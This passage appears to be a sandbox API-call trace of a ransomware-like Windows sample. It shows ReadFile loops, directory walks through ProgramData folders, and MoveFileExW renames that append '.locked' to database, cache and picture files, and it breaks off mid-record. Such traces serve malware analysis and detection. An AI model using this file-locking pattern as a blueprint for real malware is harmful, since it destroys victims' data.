ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.328] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.329] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.330] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.843] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.locked" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mss.log.locked"), dwFlags=0x2) returned 1 [0129.844] GetFileType (hFile=0xd0) returned 0x1 [0129.845] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf060d660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf060d660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0129.846] GetFileType (hFile=0xd4) returned 0x1 [0129.847] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf060d660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf060d660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0129.848] GetFileType (hFile=0xa0) returned 0x1 [0129.849] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf060d660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf060d660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0129.853] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf060d660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf060d660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0129.854] GetFileType (hFile=0xa0) returned 0x1 [0129.854] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf06337c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf06337c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0129.855] GetFileType (hFile=0xa0) returned 0x1 [0129.856] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf06337c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf06337c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0130.424] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.locked" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.locked"), dwFlags=0x2) returned 1 [0130.426] GetFileType (hFile=0xc4) returned 0x1 [0130.427] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf0b8e940, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0b8e940, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0130.430] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0b8e940, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0b8e940, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0130.431] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.locked" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.locked"), dwFlags=0x2) returned 1 [0130.436] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf0bb4aa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0bb4aa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0130.492] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.locked" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.locked"), dwFlags=0x2) returned 1 [0130.648] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.locked" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.locked"), dwFlags=0x2) returned 1 [0130.649] GetFileType (hFile=0x120) returned 0x1 [0130.650] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0dc9de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0dc9de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0130.652] GetFileType (hFile=0x120) returned 0x1 [0130.653] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf0dc9de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0dc9de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0130.655] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0dc9de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0dc9de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0130.655] GetFileType (hFile=0xc8) returned 0x1 [0130.656] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0dc9de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0dc9de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0130.658] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xf0dc9de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf0dc9de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0130.682] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db.locked"), dwFlags=0x2) returned 1 [0130.686] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db.locked"), dwFlags=0x2) returned 1 [0130.689] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db.locked"), dwFlags=0x2) returned 1 [0130.693] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db.locked"), dwFlags=0x2) returned 1 [0130.696] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db.locked"), dwFlags=0x2) returned 1 [0130.701] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db.locked"), dwFlags=0x2) returned 1 [0130.945] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db.locked"), dwFlags=0x2) returned 1 [0131.134] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db.locked"), dwFlags=0x2) returned 1 [0131.533] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.locked" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db.locked"), dwFlags=0x2) returned 1 [0131.536] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf161eae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf161eae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0131.540] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf161eae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf161eae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0131.543] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf1644c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf1644c40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0131.544] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf1644c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf1644c40, 